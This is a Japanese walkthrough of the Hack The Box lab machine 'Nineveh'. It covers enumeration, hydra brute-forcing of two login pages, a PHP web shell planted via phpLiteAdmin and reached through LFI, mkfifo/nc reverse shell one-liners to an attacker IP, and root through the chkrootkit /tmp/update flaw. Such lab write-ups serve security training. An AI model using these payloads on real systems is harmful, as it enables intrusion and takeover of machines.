NinevehはLinuxのマシンで、難易度はmediumです。

・使用ツール
nmap
gobuster
hydra
流れとしては、以下のようになっています。
1.nmapでオープンポート確認
2.gobusterでディレクトリ探索
3.hydraでパスワードクラック
4.phpLiteAdminで、コードが実行できるようにDB作成
5.LFIの脆弱性を利用してコマンドしシェルを取得
6.プロセス監視の「procmon.sh」を実行し、chkrootkitが動作しているの確認
7.chkrootkitの脆弱性を突いて権限昇格
目次
1.Enumeration
nmpaでオープンポートが、80,443であることを確認

nmapのデフォルトスクリプトエンジンを実行(-sC オプション)

gobusterでディレクトリを探索すると、/dbを検出する。
gobuster dir -u https://10.10.10.43 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster_443 -k

「https://10.10.10.43/db」にアクセスするとログイン画面が表示される。

hydraでブルートフォースを行います。コマンドはburpでinterceptした際のボディ部分と、ログイン失敗時にエラーメッセージを参照します。
hydra -l test -P /usr/share/wordlists/rockyou.txt 10.10.10.43 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password" -t 64



パスワードが「password123」と判明したので、ログインできました。

httpでもgobusterでディレクトリを探索します。/departmentを検出しました。
アクセスするとログイン画面が表示されます。
gobuster dir -u http://10.10.10.43 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster_80

hydraでブルートフォースを行います。
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid" -t 64

パスワードが「1q2w3e4r5t」と判明したので、ログインできました。

「Notes」をクリックすると「http://10.10.10.43/department/manage.php?notes=files/ninevehNotes.txt」にアクセスします。「files/ninevehNotes.txt」のURL情報からLFIの脆弱性が存在する可能性があります。

2.Exploitation
GUIの画面から「phpLiteAdmin v1.9」と判明しているので、脆弱性がないか確認します。
searchsploit phpLiteAdmin

いくつかヒットしますが、24044.txtを使います。
searchsploit -m 24044

「24044.txt」の中身を確認すると手順の詳細が記載されています。記載の手順を参考に、シェルを取得します。

phpLiteAdminでtable「ninevehNotes.php」を作成します。

Field、Type以下を入力します。
<?php echo system($_REQUEST["cmd"]); ?>
TEXT

作成されます。パスは、「/var/tmp/test」となっています。

Databaseの名前を「/var/tmp/ninevehNotes.php」に変更します。

以下のURLにアクセスし、コマンドが実行できるか確認します。
http://10.10.10.43/department/manage.php?notes=/var/tmp/ninevehNotes.php&cmd=ls
lsコマンドが実行できました。

シェルを取得します。
ncコマンドで接続を待ち受けます。

以下のコマンドをURLエンコードします。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.14 1234 >/tmp/f
rm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+10.10.14.14+1234+%3E%2Ftmp%2Ff
以下のURLにアクセスします。
http://10.10.10.43/department/manage.php?notes=/var/tmp/ninevehNotes.php&cmd=rm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+10.10.14.14+1234+%3E%2Ftmp%2Ff

シェルが取得できます。

3.Privilege Escalation
CLIを使いやすくします。
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + z
stty raw -echo
fg

/var/tmpに移動し、プロセスを監視する「procmon.sh」を実行するとchkrootkitを実行しているのが分かります。

chkrootkitのエクスプロイトを探す

33899.txtをコピーします。

「33899.txt」の中身を確認すると、「/tmp/update」がrootで実行されると記載されています。そのため、以下のファイルを作成します。
ファイル:/tmp
ファイル名:update
ファイル中身:
---------------------------------------------------------------------------------
#!/bin/bash
rm /tmp/2;mkfifo /tmp/2;cat /tmp/2|/bin/sh -i 2>&1|nc 10.10.14.14 1235 >/tmp/2
---------------------------------------------------------------------------------
ファイルの権限変更:chmod 777 update
ncコマンドで接続を待ち受けると、自動的に接続され、root権限となります。